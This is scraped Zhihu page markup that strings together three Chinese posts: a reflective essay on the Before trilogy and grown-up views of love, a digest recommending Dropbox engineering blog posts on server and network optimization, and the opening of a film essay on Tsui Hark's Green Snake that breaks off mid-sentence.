data-original=&http://pic4.zhimg.com/v2-b79fe4e3e9f5a1c5e87cdbd7_r.jpg&&&/figure&&p&在男主送女主回家的车上,女主突然神经质地喋喋不休甚至暴怒起来。&/p&&p&&br&&/p&&p&这就是浪漫留下的后遗症。维也纳一夜的浪漫威力实在太大,大到足以影响两个人长达九年的感情生活。当夜晚消退,黎明来临,强烈阳光下,不得不直视残酷现实。&/p&&p&&br&&/p&&p&短暂的相逢过后又是别离,终于到了必须做出抉择的时候:是抛弃责任、背负骂名和思念了九年的人在一起?还是选择从此向生活妥协,再次错过,度过平静却并不快乐的一生。&/p&&p&&br&&/p&&p&关于这个问题的答案,我爱死了导演安排的结局。&/p&&p&&br&&/p&&figure&&img src=&http://pic1.zhimg.com/v2-12cb9da6c7a1cb9db21c2c7c9ead4504_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&607& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic1.zhimg.com/v2-12cb9da6c7a1cb9db21c2c7c9ead4504_r.jpg&&&/figure&&figure&&img src=&http://pic3.zhimg.com/v2-49231db2fafe3df50da09686e4abc862_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&607& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic3.zhimg.com/v2-49231db2fafe3df50da09686e4abc862_r.jpg&&&/figure&&p&——“宝贝,你会错过你的班机的。”&/p&&p&——“我知道。”&/p&&p&&br&&/p&&p&那一刻,他们彼此心中都已有了答案。&/p&&p&&br&&/p&&p&&br&&/p&&p&3.&/p&&p&&br&&/p&&p&爱情究竟是什么呢?&/p&&p&&br&&/p&&p&十七八岁的时候我怀疑很多事情。比如充满了套路的成年人之间究竟有没有毫无杂质的爱情。&/p&&p&&br&&/p&&p&只有长大了、经历事情了,才会知道,自己对成人世界感情游戏的怀疑,究竟是出于偏见和无知,还是本就如此。&/p&&p&&br&&/p&&figure&&img src=&http://pic1.zhimg.com/v2-7a253ad5dd163a82d5c77e2a3e4fe0d0_b.jpg& data-caption=&& data-rawwidth=&820& data-rawheight=&928& class=&origin_image zh-lightbox-thumb& width=&820& data-original=&http://pic1.zhimg.com/v2-7a253ad5dd163a82d5c77e2a3e4fe0d0_r.jpg&&&/figure&&p&&br&&/p&&p&王小波在《黄金时代》里写:“那一天我二十一岁,在我一生的黄金时代,我有好多奢望。我想爱,想吃,还想在一瞬间变成天上半明半暗的云,后来我才知道,生活就是个缓慢受锤的过程,人一天天老下去,奢望也一天天消逝,最后变得像挨了锤的牛一样。可是我过二十一岁生日时没有预见到这一点。我觉得自己会永远生猛下去,什么也锤不了我。”&/p&&p&&br&&/p&&p&年轻时候的我们,确实对很多事情充满了不切实际的奢望:希望自己喜欢的人刚好也喜欢自己;希望任何事情,只要付出了就会有回报;希望所有愿望都能被实现;希望自己永远都是那个被上帝选中的宠儿…&/p&&p&&br&&/p&&p&但时间和生活总会慢慢教育锤炼你:人总是会随着年龄的增长而不断变化,这是这千变万化的世上唯一不变的真理。总有一天,你会坦然接受“并不是所有事情都能如你所愿”和“并不是所有事物都是非黑即白”这些道理。&/p&&p&&br&&/p&&p&然后我们也慢慢接受了一些年少时不理解甚至不喜欢的人和事,再然后发现,一旦把这些事纳为常态,我们看待世界的方式,居然变得豁然开朗了一些。&/p&&p&&br&&/p&&p&今年十一,深夜和一个即将结婚的朋友聊天,正处在热恋期的朋友说,她和未来的另一半曾经讨论过,他们彼此都不能确定是不是能走到最后的人,也不敢肯定结了婚就一定不会离婚这件事。但只要这一刻是互相喜欢且开心的,就够了。未来的事谁知道呢?再说,离婚也不是多大的事儿。&/p&&p&&br&&/p&&p&刚开始听到这话时,内心还小震动了一下,这是一个即将结婚的人说出的话吗?但仔细一想,似乎这才是健康乐观的婚姻观。&/p&&p&&br&&/p&&p&一直以来,我们习惯以世俗通用的价值观去衡量一段婚姻幸福与否。所以“结婚就不该离婚”,“婚姻就该是一辈子”的观念才会在我们的观念里根深蒂固。所以多少人哪怕没有爱了,也死撑着不分开。明明两个人在一起比一个人过得更糟,也为了不被社会价值观批判凑合过一辈子。&/p&&p&&br&&/p&&p&这样一想,反倒觉得婚姻成了一项违背人性本能的发明。究竟是谁把“爱情”和“永恒”捆绑在一起的呢?明明“爱情”是这个世界上最琢磨不定、变化多端的东西。&/p&&p&&br&&/p&&figure&&img src=&http://pic2.zhimg.com/v2-077b8111_b.jpg& data-caption=&& data-rawwidth=&724& data-rawheight=&822& class=&origin_image zh-lightbox-thumb& width=&724& data-original=&http://pic2.zhimg.com/v2-077b8111_r.jpg&&&/figure&&p&也许永恒之爱本就是悖论。白头偕老不离不弃死生契阔才是这个世界强加给我们的最大谎言。&/p&&p&&br&&/p&&p&我很喜欢《爱在》里的女主说过的一段话:&/p&&p&&br&&/p&&figure&&img src=&http://pic2.zhimg.com/v2-be93e433fac078852fff49_b.jpg& data-caption=&& data-rawwidth=&768& data-rawheight=&1296& class=&origin_image zh-lightbox-thumb& width=&768& data-original=&http://pic2.zhimg.com/v2-be93e433fac078852fff49_r.jpg&&&/figure&&p&&br&&/p&&p&人生由许多个瞬间组成,我们生命中遇见的每一个人,一起度过的每一个瞬间,都是独一无二的。我贪念你这一刻带给我的温暖,不代表我会永远爱你,毕竟未来充满变数。只要这一刻的快乐是发自内心的,就足够了。&/p&&p&&br&&/p&&p&所以现在的我,更爱《爱在》的第三部:当结束浪漫,男女主角终于走在一起,真正走进婚姻的殿堂,孕育儿女之后,如何处理那些生活中的日常琐碎,与彼此间漫长的相处?这是第三部要探讨的问题。&/p&&p&&br&&/p&&figure&&img src=&http://pic1.zhimg.com/v2-222e1d7ffcc_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&578& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic1.zhimg.com/v2-222e1d7ffcc_r.jpg&&&/figure&&p&这一部里,更多关于人生的探讨与对过去的回忆总结。关于爱情,也抛开浪漫升华到了更高境界。&/p&&p&&br&&/p&&p&虽然,42岁的女主依然是个内心神经质且拥有倔强脾气的小姑娘。年轻时伴侣间相处的矛盾并不会随着时间的消逝而消失,就像无论一个人的脾性再怎么改变,那些骨子里与生俱来的东西并不会消失一样。&/p&&figure&&img src=&http://pic2.zhimg.com/v2-5756786fdb79cbb3a7c98c896d47ce4d_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&1221& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic2.zhimg.com/v2-5756786fdb79cbb3a7c98c896d47ce4d_r.jpg&&&/figure&&p&改变的,只是一个人解决问题的方式而已。&/p&&p&&br&&/p&&p&我们都有扔掉童话书,走进成人世界的那一天。走出幻想接受真实生活的这个过程也许并不美好,就像我们所生活的这个世界。但它足够真实。&/p&&p&&br&&/p&&figure&&img src=&http://pic2.zhimg.com/v2-3c531cd44c9db893099d_b.jpg& data-caption=&& data-rawwidth=&1024& data-rawheight=&1152& class=&origin_image zh-lightbox-thumb& width=&1024& data-original=&http://pic2.zhimg.com/v2-3c531cd44c9db893099d_r.jpg&&&/figure&&p&&br&&/p&&p&也许一个人是否成熟的标志之一就是:不再因这个世界的美好而爱它,而因这个世界的真实而爱它。&/p&&p&&br&&/p&&p&《爱在》三部曲,跨越了18年的时间,让两个话唠在屏幕前喋喋不休了6个多小时,只为告诉我们,爱情是什么。&/p&&p&&br&&/p&&p&所以,爱情究竟是什么呢?&/p&&p&&br&&/p&&p&我觉得爱情,是从“我看你时,你不敢看我”开始,&/p&&p&&br&&/p&&figure&&img src=&http://pic3.zhimg.com/v2-a0ffa8f4ae4e0b84cca652_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&612& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic3.zhimg.com/v2-a0ffa8f4ae4e0b84cca652_r.jpg&&&/figure&&p&在“我的眼睛看向他处时,你停留在我身上”的目光里发酵,&/p&&figure&&img src=&http://pic3.zhimg.com/v2-af2ff75e01d82cad87bb2_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&607& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic3.zhimg.com/v2-af2ff75e01d82cad87bb2_r.jpg&&&/figure&&p&到“我鼓起勇气靠近你时,你刚好也想靠近我”时升温。&/p&&figure&&img src=&http://pic1.zhimg.com/v2-cce01b1443b0bea465cb280d706f1308_b.jpg& data-caption=&& data-rawwidth=&820& data-rawheight=&928& class=&origin_image zh-lightbox-thumb& width=&820& data-original=&http://pic1.zhimg.com/v2-cce01b1443b0bea465cb280d706f1308_r.jpg&&&/figure&&p&再到“不顾世俗眼光,奋不顾身地来到你身边”时高潮。&/p&&figure&&img src=&http://pic1.zhimg.com/v2-e92feb442bc_b.jpg& data-caption=&& data-rawwidth=&768& data-rawheight=&432& class=&origin_image zh-lightbox-thumb& width=&768& data-original=&http://pic1.zhimg.com/v2-e92feb442bc_r.jpg&&&/figure&&p&最后在“愿意接纳一段关系中的所有不完美,互相扶持着一路走下去。”里结束。&/p&&figure&&img src=&http://pic4.zhimg.com/v2-2a0b3aee27f31fc2e8d541d910e1d2eb_b.jpg& data-caption=&& data-rawwidth=&802& data-rawheight=&575& class=&origin_image zh-lightbox-thumb& width=&802& data-original=&http://pic4.zhimg.com/v2-2a0b3aee27f31fc2e8d541d910e1d2eb_r.jpg&&&/figure&&p&这是我从《爱在》三部曲里看到的,成年人爱情观的演进路径。&/p&&p&&br&&/p&&p&诚然,这个世界上没有永远不变的关系,所以趁着彼此还没有相看两相厌,再一起多制造些比夏天还要美好的回忆吧。&/p&&p&&br&&/p&&p&如果不幸不再相爱,平静地告别,感谢你曾陪我走过一段路;如果足够幸运仍在相爱,希望每次短暂的分别,都能对彼此说出”I want to see you again,again,and again.”&/p&&p&&br&&/p&&p&这对我来说,已是最美的情话,和最好的爱情。&/p&&p&&br&&/p&&p&首发于公号:土土土槽(xtutux6)&/p&&p&&a href=&http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s%3F__biz%3DMzA4MTYxNzMzNQ%3D%3D%26tempkey%3DOTI5X0tYT0JQMjZPZ010ZGdUc242aU1jTHFXTHV3SlBKWUtQMkN3RUdTNGgzRWFxUUhTdkFhWC0zMmJwREl5cnhoQWVOckpFOVhwaWNNNUxERU84dkRSZmplUGZ4WFZmUHlOSmFsT2VCeGJWZzNrcUFETzhCNlNpOHJBYjhtTU5YRU9QUzlFR2JrYVEwSEZCUDFJSktvMHhaVWhGQnEtS2JvZi1rVGE5OVF%252Bfg%253D%253D%26chksm%3D079d8dfea6f814adc318dfafdc105b780e9ddd10f9d00c335%23rd& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&爱情是什么东西?&/a&&/p&&p&&/p&
1. 最近重温了《爱在》三部曲。又多了很多和第一次看时不同的感悟。 年轻的时候看,会觉得:“啊,两个话痨之间的灵魂互撞真有意思。” 现在看会觉得:“啊,原来爱情并不是王子和公主幸福地生活在一起后就黑幕ending,而是王子发福、公主长出皱纹之后的生…
&p&Dropbox 对性能一直有着孜孜不倦的追求,几年前由于 AWS S3 的性能和成本不能满足他们的要求他们开始了自建数据中心之路。出于数据的敏感性和隐私性的考量 Dropbox 也没有采用第三方的 CDN 而是完全自建边缘网络和骨干网络,在外界开来只是做网盘的一个小公司建立了自己的一套全球分布网络,在他们的博客中介绍了他们这一路走过来的历程,以及在软硬件方面的优化方案,这一期的周报挑了其中的三篇,和大家一起来学习一下 Dropbox 是怎么做的。&/p&&p&&b&Optimizing web servers for high throughput and low latency&/b&&/p&&p&&a href=&http://link.zhihu.com/?target=https%3A//blogs.dropbox.com/tech/2017/09/optimizing-web-servers-for-high-throughput-and-low-latency/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&blogs.dropbox.com/tech/&/span&&span class=&invisible&&2017/09/optimizing-web-servers-for-high-throughput-and-low-latency/&/span&&span class=&ellipsis&&&/span&&/a&&/p&&p&这篇博客我认为是 infrastructure engineer 或者 web server 这一层的系统工程师必读的了,主要是根据 Dropbox 工程师在 NginxConf 上的一篇演讲扩展而来。事无巨细的介绍了从底层硬件:CPU、Memory、网卡、硬盘、固件到操作系统:内核参数、网络调优、TCP 参数,再到中间层:library,toolchain,compiler,第三方软件调试,最后到应用层的一些控制来接收如何在吞吐量和延迟之间做权衡,以及对应的测试方法来选择合适的优化方案。并且还提供了大量的参考资料,可谓是居家旅行必备之良品。&/p&&p&&br&&/p&&p&&b&Evolution of Dropbox’s Edge Network&/b&&/p&&p&&a href=&http://link.zhihu.com/?target=https%3A//blogs.dropbox.com/tech/2017/06/evolution-of-dropboxs-edge-network/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&blogs.dropbox.com/tech/&/span&&span class=&invisible&&2017/06/evolution-of-dropboxs-edge-network/&/span&&span class=&ellipsis&&&/span&&/a&&/p&&p&&b&Infrastructure update: evolution of the Dropbox backbone network&/b&&/p&&p&&a href=&http://link.zhihu.com/?target=https%3A//blogs.dropbox.com/tech/2017/09/infrastructure-update-evolution-of-the-dropbox-backbone-network/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&blogs.dropbox.com/tech/&/span&&span class=&invisible&&2017/09/infrastructure-update-evolution-of-the-dropbox-backbone-network/&/span&&span class=&ellipsis&&&/span&&/a&&/p&&p&刚才那一篇比较细节,接下来的两篇是一个系列,都是比较宏观方面的事情,讲述的从 2014 年至今 Dropbox 是如何构建全球化的网络。包括架构的调整,路由协议的选择,硬件的进化,以及未来的一些计划。即使短时间内自己没有办法做这么大规模的事情,不过看一遍还是感觉很过瘾的。&/p&
Dropbox 对性能一直有着孜孜不倦的追求,几年前由于 AWS S3 的性能和成本不能满足他们的要求他们开始了自建数据中心之路。出于数据的敏感性和隐私性的考量 Dropbox 也没有采用第三方的 CDN 而是完全自建边缘网络和骨干网络,在外界开来只是做网盘的一个小公…
&figure&&img src=&https://pic3.zhimg.com/v2-7dcc638f2628fd6ccabe914_b.jpg& data-rawwidth=&800& data-rawheight=&427& class=&origin_image zh-lightbox-thumb& width=&800& data-original=&https://pic3.zhimg.com/v2-7dcc638f2628fd6ccabe914_r.jpg&&&/figure&&p&&b&为什么《青蛇》在香港电影史中如此特殊?&/b&&/p&&p&影评界通常把1970年到2003年间的港片称为香港电影的黄金时代,而在这时期,徐克,不论是作为导演还是监制,都是无可厚非的顶端人物,他引领了香港电影新浪潮,尤其在八十年代至九十年代初,他造就了许多巅峰作品。1993年公映的《青蛇》,又是这股浪潮中的一朵独特浪花。&/p&&p&香港电影向来钟情于“故事新编”,比如我们所熟悉的、也是徐克深度参与其中的《英雄本色》、《倩女幽魂》、《黄飞鸿》等,但与其他故事新编不同的是,《青蛇》的文本历经了巨大的时代改写。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-d8fc7762dcdde5d8f45e84c_b.jpg& data-caption=&& data-rawwidth=&416& data-rawheight=&600& class=&content_image& width=&416&&&/figure&&p&明代冯梦龙的《警世通言》第28章《白娘子永镇雷峰塔》以及其之前的白蛇传民间传说,几乎都是一个模式——书生被蛇妖迷惑了,蛇妖是反面人物,海法则是正面人物,最后蛇妖被海法被降服,善恶归位,整体来说就是一个劝诫的故事,要人们远离色欲。&/p&&p&不过到了清代有过一次颠覆,民间形成了一个新的文本,一千五百前,小牧童救了白蛇一命,二十二世后白蛇前来报恩,两人不顾天意劫难与传统审判始终坚守爱情,此时法海开始被转化为负面形象,一个礼教和父权}

我要回帖

更多关于 艾希解锁绿色关卡选项 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信